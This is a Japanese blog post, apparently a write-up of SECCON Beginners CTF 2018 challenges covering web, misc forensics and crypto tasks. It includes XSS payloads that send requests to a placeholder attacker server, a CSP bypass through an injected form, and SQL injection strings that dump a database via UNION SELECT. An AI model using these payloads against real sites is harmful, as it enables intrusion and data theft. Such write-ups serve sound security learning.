LoginSignup
2
2

More than 5 years have passed since last update.

SECCON Beginners 2018 Write-up

Last updated at Posted at 2018-09-03

実質公式 Write-up はこちら

SECCON Beginners CTF 2018 Write-up - Qiita

4r@r3㌠ というチームで個人参戦しました。忘れないうちに Write-up をメモしておきます。

■ Web: [Warmup] Greeting

管理者である admin のみが Flag を見ることができるページ。

Cookie から $username の値を設定しているので、 Cookie の name の値を admin にするだけ

■ Web: Gimme your comment

問い合わせ?の投稿と、それに対してコメントができるWebサービス。
投稿すると向こうの管理者(?)から「投稿ありがとうございます。大変参考になりました。」という回答が来て、その際に用いられるブラウザの UserAgent を求めるという問題。

投稿のタイトルとコメントは XSS できないが、投稿の本文が特にサニタイズされていないため XSS 可能。
例えば、以下のような本文で投稿すると、自分のサイトに対してリクエストを飛ばすことができる。

<script src="[Your Server]"></script>

なお、私は XSS する際にアクセスさせるサイトに RequestBin を用いている。サービス自体は終了してしまったが、OSS として公開されており簡単に heroku にデプロイできるのでオススメです。

■ Web: SECCON Goods

SECCON グッズの在庫状況がわかるサイト。
Vue.js が使われており、 init.js を見ると /items.php?minstock=0 にアクセスしているのがわかる。

/items.php?minstock=100 とすると 1 件も返ってこないが、 /items.php?minstock=100 or 1=1;-- とすると全件返ってくるため、SQLi できることがわかる。

あとは 普通に UNION を使って SQLi するだけ。

/items.php?minstock=100 union select table_schema, table_name, column_name, 1, 1 from INFORMATION_SCHEMA.COLUMNS;--

INFORMATION_SCHEMA から flag がありそうなテーブルを見つける。

[
  ...,
  {
    "id": "app",
    "name": "flag",
    "description": "flag",
    "price": "1",
    "stock": "1"
  },
  ...
]

flag の取得

/items.php?minstock=0 union select flag, 1, 1, 1, 1 from flag;--

■ Web: Gimme your comment REVENGE

Gimme your comment と同じサイトで、フラグの取得条件も同じ。
ただし、 Contents Security Policy(CSP) が設定されているため、インラインの JavaScript を実行したり、外部オリジンからリソースを読み込むことができない。

かなり悩んだが、 worker の JavaScript のコードを読んでいたら 投稿すると向こうの管理者(?)から「投稿ありがとうございます。大変参考になりました。」というコメントが来る ことを思い出し、以下の本文でいけることに気づいた。

</form>
<form method="post" action="[Your Server]">

これなら CSP を回避しながら外部オリジンにリクエストを送ることができる。

Gimme your comment を解いている時は、コメント機能の存在意義や、なぜセッションハイジャックではなく UserAgent でいいのか疑問だったが、これで納得した。

■ Misc: [Warmup] plain mail

問題ファイルを Wireshark で開き、 Follow TCP Stream で眺めながら、Zip ファイルとそのパスワードを取得ししておしまい。

■ Misc: [Warmup] Welcome

問題文

フラグは公式IRCチャンネルのトピックにあります。

■ Misc: てけいさんえくすとりーむず

手計算と書いてあるがもちろん自動でやらせる。

import time
import socket

HOST = 'tekeisan-ekusutoriim.chall.beginners.seccon.jp'
PORT = 8690

def sock(remoteip, remoteport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip,remoteport))
    return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
    start_time = time.time()
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
        if time.time() - start_time > 3: break
    return data

def main():
    print 'nc %s %s' % (HOST, PORT)
    s, f = sock(HOST, PORT)

    # Skip initial data
    for i in range(11):
        result = read_until(f)
        print result.strip()

    for i in range(100):
        result = read_until(f)
        print result.strip()
        result = read_until(f, '=')
        response = str(eval(result[:-1]))
        s.send(response + '\n')
        print result.strip() + response

    while True:
        result = read_until(f)
        if not result: break
        print result.strip()

    print 'finish.'

if __name__ == '__main__':
    main()

■ Misc: Find the messages

ディスクイメージが渡されて、その中に隠されたメッセージを探す問題。

とりあえずマウントしてみる。

$ sudo fdisk -l -u disk.img

Disk disk.img: 67 MB, 67108864 bytes
41 heads, 32 sectors/track, 99 cylinders, total 131072 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0xad4d4cf0

   Device Boot      Start         End      Blocks   Id  System
disk.img1            2048      131071       64512   83  Linux

$ sudo mount -o loop,offset=$((2048*512)) disk.img /mnt
$ sudo ls -lhR /mnt
.:
total 15K
drwx------ 2 root root  12K  4月 28 02:03 lost+found
drwxr-xr-x 2 root root 1.0K  4月 28 02:03 message1
drwxr-xr-x 2 root root 1.0K  4月 28 02:03 message2
drwxr-xr-x 2 root root 1.0K  4月 28 02:05 message3

./lost+found:
total 0

./message1:
total 1.0K
-rw-r--r-- 1 root root 24  4月 28 02:03 message_1_of_3.txt

./message2:
total 15M
-rw-r--r-- 1 root root 15M  4月 28 02:03 message_2_of_3.png

./message3:
total 0

マウントすると3つのディレクトリが見える。

  • message1/
    • message_1_of_3.txt : ただの Base64 エンコードされたテキスト
  • message2/
    • message_2_of_3.png : PNG だがファイルシグネチャの部分が壊れているので修正する
  • message3/
    • ファイルがないため、修復する必要があると予想
$ fls -r -o 2048 disk.img
d/d 11: lost+found
d/d 12: message1
+ r/r 13:   message_1_of_3.txt
d/d 2017:   message2
+ r/r 14:   message_2_of_3.png
d/d 2018:   message3
+ r/r * 15: message_3_of_3.pdf
d/d 16129:  $OrphanFiles
$ icat -o 2048 disk.img 15 > message_3_of_3.pdf

これで復元できると思ったのだが、できなかったため binwalk を用いた。

$ binwalk disk.img

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1048576       0x100000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9437184       0x900000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9700352       0x940400        PDF document, version: "1.3"
11535548      0xB004BC        Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#
17829888      0x1101000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
26214400      0x1900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
42991616      0x2900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
59768832      0x3900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd

$ binwalk --dd='pdf:message_3_of_3.pdf' disk.img

■ Crypto: [Warmup] Veni, vidi, vici

Zip ファイルが渡され、解凍すると 3 つのファイルが出てくる。
1つは ROT13、もう1つはシーザー暗号、最後の1つはアルファベットを上下反転させたもの。

■ Crypto: RSA is Power

RSA の公開鍵の情報が与えられ、暗号文を復号する問題。
RSA は n が素因数分解できれば復号可能なので、おもむろに FactorDB に突っ込んだところ素因数分解してくれた。

あとはやるだけ。

■ Crypto: Streaming

暗号化のスクリプトと暗号文が渡されて復号する問題。
暗号自体は XOR 暗号に seed がついてるだけ。しかも seed は mod 34607 したものなので、総当たりでできる。

class Stream:
    A = 37423
    B = 61781
    C = 34607
    def __init__(self, seed):
        self.seed = seed % self.C

    def __iter__(self):
        return self

    def next(self):
        self.seed = (self.A * self.seed + self.B) % self.C
        return self.seed

encrypted = ''
with open('encrypted', 'rb') as f:
    while True:
        value = f.read(1)
        if value == '': break
        encrypted += value

candidate = []
for seed in range(34607):
    g = Stream(seed)
    a = ord(encrypted[1]) * 256 + ord(encrypted[0])
    # Check flag starts with 'ct'. Because flag format is 'ctf4b{...}'.
    if a ^ g.next() == int('ct'.encode('hex'), 16):
        candidate.append(seed)

for seed in candidate:
    try:
        flag = ''
        g = Stream(seed)
        for i in range(0, len(encrypted), 2):
            a = ord(encrypted[i+1]) * 256 + ord(encrypted[i])
            flag += hex(a ^ g.next())[2:].decode('hex')
        print flag
    except:
        pass
2
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
2